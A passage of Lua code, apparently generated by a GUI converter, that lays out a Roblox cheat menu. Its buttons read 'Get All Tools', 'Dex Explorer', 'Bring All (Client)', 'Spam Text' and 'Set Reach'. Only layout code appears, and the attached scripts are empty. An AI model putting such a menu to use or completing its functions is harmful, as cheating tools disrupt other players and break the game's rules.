StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["68"] = Instance.new("TextButton", G2L["52"]); G2L["68"]["BorderSizePixel"] = 3; G2L["68"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["68"]["TextSize"] = 14; G2L["68"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["68"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["68"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["68"]["Name"] = [[Button]]; G2L["68"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["68"]["Text"] = [[Gale Fighter]]; G2L["68"]["Position"] = UDim2.new(0, 0, 0, 198); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["69"] = Instance.new("LocalScript", G2L["68"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["6a"] = Instance.new("TextButton", G2L["52"]); G2L["6a"]["BorderSizePixel"] = 3; G2L["6a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6a"]["TextSize"] = 14; G2L["6a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["6a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6a"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["6a"]["Name"] = [[Button]]; G2L["6a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["6a"]["Text"] = [[Krystal Dance]]; G2L["6a"]["Position"] = UDim2.new(0, 73, 0, 198); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["6b"] = Instance.new("LocalScript", G2L["6a"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["6c"] = Instance.new("TextButton", G2L["52"]); G2L["6c"]["BorderSizePixel"] = 3; G2L["6c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6c"]["TextSize"] = 14; G2L["6c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["6c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6c"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["6c"]["Name"] = [[Button]]; G2L["6c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["6c"]["Text"] = [[Sword Glitcher]]; G2L["6c"]["Position"] = UDim2.new(0, 0, 0, 231); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["6d"] = Instance.new("LocalScript", G2L["6c"]); -- StarterGui.CoolGui.Frame.Page2.Section1.Button G2L["6e"] = Instance.new("TextButton", G2L["52"]); G2L["6e"]["TextWrapped"] = true; G2L["6e"]["BorderSizePixel"] = 3; G2L["6e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6e"]["TextSize"] = 14; G2L["6e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["6e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6e"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["6e"]["Name"] = [[Button]]; G2L["6e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["6e"]["Text"] = [[Concealed Tenebrosity]]; G2L["6e"]["Position"] = UDim2.new(0, 73, 0, 231); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript G2L["6f"] = Instance.new("LocalScript", G2L["6e"]); -- StarterGui.CoolGui.Frame.Page3 G2L["70"] = Instance.new("Frame", G2L["2"]); G2L["70"]["Visible"] = false; G2L["70"]["ZIndex"] = 2; G2L["70"]["BorderSizePixel"] = 3; G2L["70"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["70"]["Size"] = UDim2.new(1, 0, 1, -106); G2L["70"]["Position"] = UDim2.new(0, 0, 0, 83); G2L["70"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["70"]["Name"] = [[Page3]]; -- StarterGui.CoolGui.Frame.Page3.PageLabel G2L["71"] = Instance.new("TextLabel", G2L["70"]); G2L["71"]["ZIndex"] = 3; G2L["71"]["BorderSizePixel"] = 3; G2L["71"]["TextSize"] = 18; G2L["71"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["71"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["71"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["71"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["71"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["71"]["Text"] = [[Page 3]]; G2L["71"]["Name"] = [[PageLabel]]; G2L["71"]["Position"] = UDim2.new(0, 0, 1, -30); -- StarterGui.CoolGui.Frame.Page3.Section2 G2L["72"] = Instance.new("Frame", G2L["70"]); G2L["72"]["Active"] = true; G2L["72"]["ZIndex"] = 2; G2L["72"]["BorderSizePixel"] = 3; G2L["72"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["72"]["Size"] = UDim2.new(0.5, 0, 1, 0); G2L["72"]["Position"] = UDim2.new(0.49, 3, 0, 0); G2L["72"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["72"]["Name"] = [[Section2]]; -- StarterGui.CoolGui.Frame.Page3.Section2.Button G2L["73"] = Instance.new("TextButton", G2L["72"]); G2L["73"]["BorderSizePixel"] = 3; G2L["73"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["73"]["TextSize"] = 14; G2L["73"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["73"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["73"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["73"]["Name"] = [[Button]]; G2L["73"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["73"]["Text"] = [[Get All Tools]]; G2L["73"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript G2L["74"] = Instance.new("LocalScript", G2L["73"]); -- StarterGui.CoolGui.Frame.Page3.Section2.Button G2L["75"] = Instance.new("TextButton", G2L["72"]); G2L["75"]["BorderSizePixel"] = 3; G2L["75"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["75"]["TextSize"] = 14; G2L["75"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["75"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["75"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["75"]["Name"] = [[Button]]; G2L["75"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["75"]["Text"] = [[iOrb]]; G2L["75"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript G2L["76"] = Instance.new("LocalScript", G2L["75"]); -- StarterGui.CoolGui.Frame.Page3.Section2.Button G2L["77"] = Instance.new("TextButton", G2L["72"]); G2L["77"]["BorderSizePixel"] = 3; G2L["77"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["77"]["TextSize"] = 14; G2L["77"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["77"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["77"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["77"]["Name"] = [[Button]]; G2L["77"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["77"]["Text"] = [[Destroy Gui]]; G2L["77"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript G2L["78"] = Instance.new("LocalScript", G2L["77"]); -- StarterGui.CoolGui.Frame.Page3.Section2.Button G2L["79"] = Instance.new("TextButton", G2L["72"]); G2L["79"]["BorderSizePixel"] = 3; G2L["79"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["79"]["TextSize"] = 14; G2L["79"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["79"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["79"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["79"]["Name"] = [[Button]]; G2L["79"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["79"]["Text"] = [[Dex Explorer]]; G2L["79"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript G2L["7a"] = Instance.new("LocalScript", G2L["79"]); -- StarterGui.CoolGui.Frame.Page3.Section2.Button G2L["7b"] = Instance.new("TextButton", G2L["72"]); G2L["7b"]["TextWrapped"] = true; G2L["7b"]["BorderSizePixel"] = 3; G2L["7b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7b"]["TextSize"] = 14; G2L["7b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7b"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["7b"]["Name"] = [[Button]]; G2L["7b"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["7b"]["Text"] = [[Bring Player (Client)]]; G2L["7b"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript G2L["7c"] = Instance.new("LocalScript", G2L["7b"]); -- StarterGui.CoolGui.Frame.Page3.Section2.Button G2L["7d"] = Instance.new("TextButton", G2L["72"]); G2L["7d"]["TextWrapped"] = true; G2L["7d"]["BorderSizePixel"] = 3; G2L["7d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7d"]["TextSize"] = 14; G2L["7d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7d"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["7d"]["Name"] = [[Button]]; G2L["7d"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["7d"]["Text"] = [[Bring All (Client)]]; G2L["7d"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page3.Section2.Button.LocalScript G2L["7e"] = Instance.new("LocalScript", G2L["7d"]); -- StarterGui.CoolGui.Frame.Page3.Section2.SectionTitle G2L["7f"] = Instance.new("TextLabel", G2L["72"]); G2L["7f"]["BorderSizePixel"] = 3; G2L["7f"]["TextSize"] = 14; G2L["7f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["7f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7f"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["7f"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["7f"]["Text"] = [[Misc.]]; G2L["7f"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page3.Section1 G2L["80"] = Instance.new("Frame", G2L["70"]); G2L["80"]["Active"] = true; G2L["80"]["BorderSizePixel"] = 3; G2L["80"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["80"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["80"]["Position"] = UDim2.new(0, 1, 0, 0); G2L["80"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["80"]["Name"] = [[Section1]]; -- StarterGui.CoolGui.Frame.Page3.Section1.SectionTitle G2L["81"] = Instance.new("TextLabel", G2L["80"]); G2L["81"]["BorderSizePixel"] = 3; G2L["81"]["TextSize"] = 14; G2L["81"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["81"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["81"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["81"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["81"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["81"]["Text"] = [[LocalPlayer]]; G2L["81"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["82"] = Instance.new("TextButton", G2L["80"]); G2L["82"]["BorderSizePixel"] = 3; G2L["82"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["82"]["TextSize"] = 14; G2L["82"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["82"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["82"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["82"]["Name"] = [[Button]]; G2L["82"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["82"]["Text"] = [[Billboard Gui]]; G2L["82"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["83"] = Instance.new("LocalScript", G2L["82"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["84"] = Instance.new("TextButton", G2L["80"]); G2L["84"]["TextWrapped"] = true; G2L["84"]["BorderSizePixel"] = 3; G2L["84"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["84"]["TextSize"] = 14; G2L["84"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["84"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["84"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["84"]["Name"] = [[Button]]; G2L["84"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["84"]["Text"] = [[Create Platform]]; G2L["84"]["Position"] = UDim2.new(0, 0, 0, 99); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["85"] = Instance.new("LocalScript", G2L["84"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["86"] = Instance.new("TextButton", G2L["80"]); G2L["86"]["BorderSizePixel"] = 3; G2L["86"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["86"]["TextSize"] = 14; G2L["86"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["86"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["86"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["86"]["Name"] = [[Button]]; G2L["86"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["86"]["Text"] = [[Floating Pad]]; G2L["86"]["Position"] = UDim2.new(0, 0, 0, 132); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["87"] = Instance.new("LocalScript", G2L["86"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["88"] = Instance.new("TextButton", G2L["80"]); G2L["88"]["BorderSizePixel"] = 3; G2L["88"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["88"]["TextSize"] = 14; G2L["88"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["88"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["88"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["88"]["Name"] = [[Button]]; G2L["88"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["88"]["Text"] = [[Set Reach]]; G2L["88"]["Position"] = UDim2.new(0, 0, 0, 165); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["89"] = Instance.new("LocalScript", G2L["88"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["8a"] = Instance.new("TextButton", G2L["80"]); G2L["8a"]["TextWrapped"] = true; G2L["8a"]["BorderSizePixel"] = 3; G2L["8a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["8a"]["TextSize"] = 14; G2L["8a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8a"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["8a"]["Name"] = [[Button]]; G2L["8a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["8a"]["Text"] = [[Play Animation]]; G2L["8a"]["Position"] = UDim2.new(0, 0, 0, 198); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["8b"] = Instance.new("LocalScript", G2L["8a"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["8c"] = Instance.new("TextButton", G2L["80"]); G2L["8c"]["BorderSizePixel"] = 3; G2L["8c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["8c"]["TextSize"] = 14; G2L["8c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8c"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["8c"]["Name"] = [[Button]]; G2L["8c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["8c"]["Text"] = [[Chicken Arms]]; G2L["8c"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["8d"] = Instance.new("LocalScript", G2L["8c"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["8e"] = Instance.new("TextButton", G2L["80"]); G2L["8e"]["TextWrapped"] = true; G2L["8e"]["BorderSizePixel"] = 3; G2L["8e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["8e"]["TextSize"] = 14; G2L["8e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8e"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["8e"]["Name"] = [[Button]]; G2L["8e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["8e"]["Text"] = [[Set JumpPower]]; G2L["8e"]["Position"] = UDim2.new(0, 73, 0, 99); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["8f"] = Instance.new("LocalScript", G2L["8e"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["90"] = Instance.new("TextButton", G2L["80"]); G2L["90"]["BorderSizePixel"] = 3; G2L["90"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["90"]["TextSize"] = 14; G2L["90"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["90"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["90"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["90"]["Name"] = [[Button]]; G2L["90"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["90"]["Text"] = [[Set Walkspeed]]; G2L["90"]["Position"] = UDim2.new(0, 73, 0, 165); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["91"] = Instance.new("LocalScript", G2L["90"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["92"] = Instance.new("TextButton", G2L["80"]); G2L["92"]["BorderSizePixel"] = 3; G2L["92"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["92"]["TextSize"] = 14; G2L["92"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["92"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["92"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["92"]["Name"] = [[Button]]; G2L["92"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["92"]["Text"] = [[Spam Text]]; G2L["92"]["Position"] = UDim2.new(0, 73, 0, 198); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["93"] = Instance.new("LocalScript", G2L["92"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["94"] = Instance.new("TextButton", G2L["80"]); G2L["94"]["BorderSizePixel"] = 3; G2L["94"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["94"]["TextSize"] = 14; G2L["94"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["94"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["94"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["94"]["Name"] = [[Button]]; G2L["94"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["94"]["Text"] = [[Blockhead]]; G2L["94"]["Position"] = UDim2.new(0, 73, 0, 132); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["95"] = Instance.new("LocalScript", G2L["94"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["96"] = Instance.new("TextButton", G2L["80"]); G2L["96"]["BorderSizePixel"] = 3; G2L["96"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["96"]["TextSize"] = 14; G2L["96"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["96"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["96"]["Size"] = UDim2.new(0.475, 0, 0, 30); G2L["96"]["Name"] = [[Button]]; G2L["96"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["96"]["Text"] = [[Set Gravity]]; G2L["96"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["97"] = Instance.new("LocalScript", G2L["96"]); -- StarterGui.CoolGui.Frame.Page3.Section1.Button G2L["98"] = Instance.new("TextButton", G2L["80"]); G2L["98"]["BorderSizePixel"] = 3; G2L["98"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["98"]["TextSize"] = 14; G2L["98"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["98"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["98"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["98"]["Name"] = [[Button]]; G2L["98"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["98"]["Text"] = [[Change Name]]; G2L["98"]["Position"] = UDim2.new(0, 73, 0, 33); -- StarterGui.CoolGui.Frame.Page3.Section1.Button.LocalScript G2L["99"] = Instance.new("LocalScript", G2L["98"]); -- StarterGui.CoolGui.Frame.Page4 G2L["9a"] = Instance.new("Frame", G2L["2"]); G2L["9a"]["Visible"] = false; G2L["9a"]["ZIndex"] = 2; G2L["9a"]["BorderSizePixel"] = 3; G2L["9a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9a"]["Size"] = UDim2.new(1, 0, 1, -106); G2L["9a"]["Position"] = UDim2.new(0, 0, 0, 83); G2L["9a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["9a"]["Name"] = [[Page4]]; -- StarterGui.CoolGui.Frame.Page4.PageLabel G2L["9b"] = Instance.new("TextLabel", G2L["9a"]); G2L["9b"]["ZIndex"] = 3; G2L["9b"]["BorderSizePixel"] = 3; G2L["9b"]["TextSize"] = 18; G2L["9b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9b"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["9b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["9b"]["Text"] = [[Page 4]]; G2L["9b"]["Name"] = [[PageLabel]]; G2L["9b"]["Position"] = UDim2.new(0, 0, 1, -30); -- StarterGui.CoolGui.Frame.Page4.Section2 G2L["9c"] = Instance.new("Frame", G2L["9a"]); G2L["9c"]["Active"] = true; G2L["9c"]["ZIndex"] = 2; G2L["9c"]["BorderSizePixel"] = 3; G2L["9c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9c"]["Size"] = UDim2.new(0.5, 0, 1, 0); G2L["9c"]["Position"] = UDim2.new(0.49, 3, 0, 0); G2L["9c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["9c"]["Name"] = [[Section2]]; -- StarterGui.CoolGui.Frame.Page4.Section2.SectionTitle G2L["9d"] = Instance.new("TextLabel", G2L["9c"]); G2L["9d"]["BorderSizePixel"] = 3; G2L["9d"]["TextSize"] = 14; G2L["9d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["9d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9d"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["9d"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["9d"]["Text"] = [[Preset Music IDs]]; G2L["9d"]["Name"] = [[SectionTitle]]; -- StarterGui.CoolGui.Frame.Page4.Section2.Button G2L["9e"] = Instance.new("TextButton", G2L["9c"]); G2L["9e"]["BorderSizePixel"] = 3; G2L["9e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9e"]["TextSize"] = 14; G2L["9e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9e"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["9e"]["Name"] = [[Button]]; G2L["9e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["9e"]["Text"] = [[Elctro Sp00k]]; G2L["9e"]["Position"] = UDim2.new(0, 0, 0, 33); -- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript G2L["9f"] = Instance.new("LocalScript", G2L["9e"]); -- StarterGui.CoolGui.Frame.Page4.Section2.Button G2L["a0"] = Instance.new("TextButton", G2L["9c"]); G2L["a0"]["BorderSizePixel"] = 3; G2L["a0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a0"]["TextSize"] = 14; G2L["a0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a0"]["Size"] = UDim2.new(0.5, 0, 0, 30); G2L["a0"]["Name"] = [[Button]]; G2L["a0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["a0"]["Text"] = [[Chop Suey]]; G2L["a0"]["Position"] = UDim2.new(0, 0, 0, 66); -- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript G2L["a1"] = Instance.new("LocalScript", G2L["a0"]); -- StarterGui.CoolGui.Frame.Page4.Section2.Button G2L["a2"] = Instance.new("TextButton", G2L["9c"]); G2L["a2"]["BorderSizePixel"] = 3; G2L["a2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a2"]["TextSize"] = 14; G2L["a2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a2"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["a2"]["Name"] = [[Button]]; G2L["a2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["a2"]["Text"] = [[Scream]]; G2L["a2"]["Position"] = UDim2.new(0, 73, 0, 66); -- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript G2L["a3"] = Instance.new("LocalScript", G2L["a2"]); -- StarterGui.CoolGui.Frame.Page4.Section2.Button G2L["a4"] = Instance.new("TextButton", G2L["9c"]); G2L["a4"]["BorderSizePixel"] = 3; G2L["a4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a4"]["TextSize"] = 14; G2L["a4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a4"]["Size"] = UDim2.new(0.5, 1, 0, 30); G2L["a4"]["Name"] = [[Button]]; G2L["a4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["a4"]["Text"] = [[Raining Tacos]]; G2L["a4"]["Position"] = UDim2.new(0, 73, 0, 33); -- 